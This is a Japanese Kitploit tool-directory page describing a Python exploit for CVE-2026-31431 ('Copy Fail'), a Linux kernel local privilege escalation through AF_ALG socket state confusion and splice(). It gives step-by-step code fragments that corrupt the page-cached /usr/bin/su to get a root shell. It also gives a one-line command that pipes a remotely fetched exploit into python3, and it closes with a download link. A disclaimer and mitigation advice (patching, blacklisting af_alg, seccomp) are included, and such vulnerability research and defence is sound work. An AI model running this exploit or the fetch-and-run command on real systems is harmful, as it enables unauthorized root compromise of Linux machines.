Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-31431 — Pythonエクスプロイト:Linuxカーネルのローカル権限昇格(CVE-2026-31431)用。AF_ALGソケットの状態混乱とsplice()を利用し、任意ファイル書き込みとrootアクセスを実現します。 | Kitploit
ツール/GitHubGitHub/abhishekhargan/cve-2026-31431
特権昇格エクスプロイトフレームワーク脆弱性分析エクスプロイト学習と教育バイナリエクスプロイト
GitHubabhishekhargan/cve-2026-31431

CVE-2026-31431

Pythonエクスプロイト:Linuxカーネルのローカル権限昇格(CVE-2026-31431)用。AF_ALGソケットの状態混乱とsplice()を利用し、任意ファイル書き込みとrootアクセスを実現します。

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-31431: 「Copy Fail」- Linuxカーネルのローカル権限昇格

📢 免責事項

このリポジトリは、教育およびサイバーセキュリティ研究の目的にのみ使用されます。 エクスプロイトコードは、根本的な脆弱性を理解し、パッチ適用を促進し、防御戦略を開発するために分析されています。所有していないシステムや、明示的なテスト許可がないシステムに対しては使用しないでください。

📝 概要

「Copy Fail」は、Linuxカーネルで発見された重大なローカル権限昇格(LPE)脆弱性です。ファイルシステムと非同期暗号化API(AF_ALG)間のメモリ操作をカーネルが処理する際の欠陥を悪用することで、非特権ユーザーがrootアクセスを取得できます。

⚙️ 動作の仕組み(技術的な詳細)

提供されているPythonエクスプロイトは、難解なLinuxシステムコールとインターフェースの組み合わせを利用して、カーネルメモリ内での任意の境界外(OOB)書き込みを実現し、それをディスク上の任意のファイル書き込みに変換します。

攻撃チェーンのステップバイステップの内訳は以下のとおりです。

1. AF_ALGインターフェースの初期化

root@kitploit:~
a=s.socket(38, 5, 0)
a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))

スクリプトはAF_ALGソケット(ファミリー38)を作成します。このインターフェースにより、ユーザー空間アプリケーションは暗号化操作をカーネルにオフロードできます。具体的には、HMAC-SHA256とCBC-AESを組み合わせたAEAD(認証付き暗号化)暗号チェーンを要求します。

2. setsockoptによる状態の混乱

root@kitploit:~
v(h,1,d('0800010000000010'+'0'*64))
v(h,5,None,4)

スクリプトはsetsockoptを使用してソケットの内部状態を操作します。16進数のペイロードとNone引数は、カーネルのcrypto APIバッファ管理における境界条件または整数オーバーフローをトリガーするように慎重に作成されています。これにより、カーネル内でコピー操作が安全に「失敗」し、ソケットが一貫性のない脆弱な状態のままになります。

3. splice()によるゼロコピーデータ転送

root@kitploit:~
n=g.splice; n(f,w,o,offset_src=0); n(r,u.fileno(),o)

これがエクスプロイトの核心です。データをユーザー空間に読み込んで書き戻す代わりに、splice()はファイル記述子間でデータをカーネル空間内で直接移動します。 スクリプトは/usr/bin/su(SUIDルートバイナリ)を開き、そこから設定が破損したAF_ALGソケットへのデータのスプライスを試みます。ステップ2でソケットの状態が破損しているため、このゼロコピー操作中にカーネルの境界チェックが失敗します。

4. ペイロード注入ループ

root@kitploit:~
e=zlib.decompress(d("78da..."))
while i<len(e):c(f,i,e[i:i+4]);i+=4

スクリプトは圧縮されたペイロード(おそらく小さなシェルコードまたは変更されたバイナリブロブ)を展開します。ループに入り、このペイロードを4バイトずつ破損したソケットバッファに送信します。境界チェックの失敗により、これらの4バイトの書き込みはカーネルのページキャッシュ内の任意のオフセット、つまり/usr/bin/suがロードされている正確なメモリ空間に配置されます。

5. 権限昇格

root@kitploit:~
g.system("su")

ページキャッシュされた/usr/bin/su内の特定の命令ポインタまたはロジックチェックを上書きすることで、攻撃者はバイナリの動作を変更します。system("su")が呼び出されると、変更されたSUIDバイナリが実行されます。バイナリはrootとして実行されますが、標準のパスワード検証をスキップし、攻撃者を直接rootシェルに落とします。

6. エクスプロイト

Linuxシステムでcopyfail.pyをダウンロードして実行するか、以下のcurlリクエストを使用してすばやく実行します。

root@kitploit:~
curl https://copy.fail/exp | python3 && su
id

https://github.com/user-attachments/assets/1f6c9365-710e-4241-889f-cb30af6d6f2e

🎯 影響

  • 深刻度: 重大
  • 攻撃ベクトル: ローカル(ターゲットマシンでの実行が必要)
  • 影響: 完全なルートアクセス、すべてのファイル権限およびSELinux/AppArmorプロファイルのバイパス。

🛡️ 緩和策と防御

  1. カーネルにパッチを適用する: Linuxディストリビューション(Canonical、Red Hat、Debianなど)が提供する最新のセキュリティパッチを適用します。
  2. AF_ALGを制限する: ワークロードで暗号化オフロードが不要な場合は、/etc/modprobe.d/blacklist.confにblacklist af_algを追加してaf_algカーネルモジュールを無効にします。
  3. Seccomp/AppArmorプロファイル: 厳格なSeccompフィルターを使用して、非特権ユーザーによるsplice()、socket()(特にファミリー38)、およびsetsockopt()の使用を制限します。

📚 参考情報

  • https://xint.io/blog/copy-fail-linux-distributions#the-exploit-4
ツールをダウンロード